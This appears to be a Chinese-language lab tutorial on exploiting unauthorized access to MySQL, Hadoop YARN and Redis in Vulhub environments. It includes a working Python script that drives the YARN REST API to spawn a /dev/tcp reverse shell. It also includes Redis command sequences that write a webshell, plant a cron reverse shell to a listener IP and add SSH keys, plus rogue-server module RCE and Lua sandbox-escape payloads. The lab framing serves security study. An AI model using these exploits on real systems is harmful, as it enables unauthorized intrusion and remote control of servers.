赞
踩
案例一:Mysql-未授权访问-CVE-2012-2122 利用
案例二: Hadoop-未授权访问-内置配合命令执行 RCE
案例三:Redis-未授权访问-Webshell&任务&密匙&RCE 等
1.配置不当-未授权访问
2.安全机制-特定安全漏洞
3.安全机制-弱口令爆破攻击
端口扫描 nmap netstat
服务开放了,但是端口不存在?
1.内网环境,端口映射
2.端口被修改
3.防护软件-防火墙等
如果没有端口,利用组合猜测,例如:php-mysql
判断服务类型:
远程控制: win 3389 rdp linux 22 ssh --> 账号密码爆破
靶场环境:Vulhub - Docker-Compose file for vulnerability environment
创建docker环境
查看ip
利用命令
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
复现:失败很多次后会成功
另外mysql不能够使用远程暴力破解。因为root用户只能本地登录,可以采取利用phpmyadmin去远程登录利用,爆破密码。
靶场环境:Vulhub - Docker-Compose file for vulnerability environment
搭建
访问:http://your-ip:8088
访问你的ip地址/cluster/apps,如果存在证明有漏洞
kali开启监听
新开的窗口执行下方代码,去反弹shell
- import requests
-
- def shell(url,vps_ip,port):
- headers = {
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36'
- }
- response = requests.post(url+"/ws/v1/cluster/apps/new-application",headers=headers)
- id = response.json()["application-id"]
- data = {
- 'application-id': id,
- 'application-name': 'getshell',
- 'am-container-spec': {
- 'commands': {
- 'command': '/bin/bash -i >& /dev/tcp/%s/%s 0>&1'%(vps_ip,port)
- },
- },
- 'application-type': 'YARN'}
- exploit = requests.post(url+"/ws/v1/cluster/apps",headers=headers,json=data)
- print("[+] 执行完成!")
-
-
- if __name__ == '__main__':
- url = input("目标的URL:")
- vps_ip = input("监听的主机IP地址(kali):")
- port = input("监听的主机端口(kali):")
- shell(url,vps_ip,port)
![](https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png)
运行,成功反弹sell
redis端口: 6379
未授权访问条件:
1.redis.conf中 bind表示允许谁访问,被注释了表示都可以访问
2.redis.conf 中 下面这个模块默认是关闭的
3.默认没设置密码 requirepass
环境配置:(centos7)
- 1、下载
- wget http://download.redis.io/releases/redis-2.8.17.tar.gz
-
- 2、解压编译
- tar xzvf redis-2.8.17.tar.gz #解压安装包
- cd redis-2.8.17 # 进入redis目录
- make #编译
-
- 3、配置及启动
- cd src/ #进入src目录
- cp redis-server /usr/bin/
- cp redis-cli /usr/bin/ #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
- cd .. # 返回上一级目录
- cp redis.conf /etc/ #将redis.conf拷贝到/etc/目录下
- redis-server /etc/redis.conf # 使用/etc/目录下的redis.conf文件中的配置启动redis服务
启动后的效果
利用redis桌面连接工具进行连接
连接后。ctrl+t进入命令终端
需要知道写入路径 /tmp目录默认是所有人都可以写入
- 利用条件:Web 目录权限可读写
- config set dir /tmp #设置 WEB 写入目录
- config set dbfilename 1.php #设置写入文件名
- set test "<?php phpinfo();?>" #设置写入文件代码
- bgsave #保存执行
- save #保存执行
- 注意:部分没目录权限读写权限
执行:
查看centos7是否写入
kali首先开启监听
首先centos中的计时任务,可以写在/var/spool/cron中
- set xx "\n* * * * * bash -i >& /dev/tcp/192.168.172.132/7777 0>&1\n"
- //星号表示的是计划任务的时间
- config set dir /var/spool/cron/ //或者 /var/spool/cron/crontabs
- config set dbfilename root // 计划任务的文件名为root
- save // ok
- config get dir
- //即可查看保存路径 ,确保路径无误
kali成功反弹shell
如果无法反弹shell可能是由于上一个实验的结果。也会输入这个文件当中造成影响,可以新开一个kali窗口,进行纯净版的输入,如图
利用该攻击方式,还需要允许密钥对登录,并且redis以root登录
首先生成密钥对
进入root目录下
把公钥复制到key.txt文件当中
传输公钥
自己搭建的服务器,如果没有.ssh需要手工生成一下
连接保存公钥
利用自己的私钥去主动连接
下载地址:https://github.com/vulhub/redis-rogue-getshell
可以用的redis版本: Redis4.x/5.0.5
运行代码:
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
搭建靶场:Vulhub - Docker-Compose file for vulnerability environment
利用,首先需要编译
利用
换一个命令
靶场环境:Vulhub - Docker-Compose file for vulnerability environment
搭建:
利用代码:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
复现
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。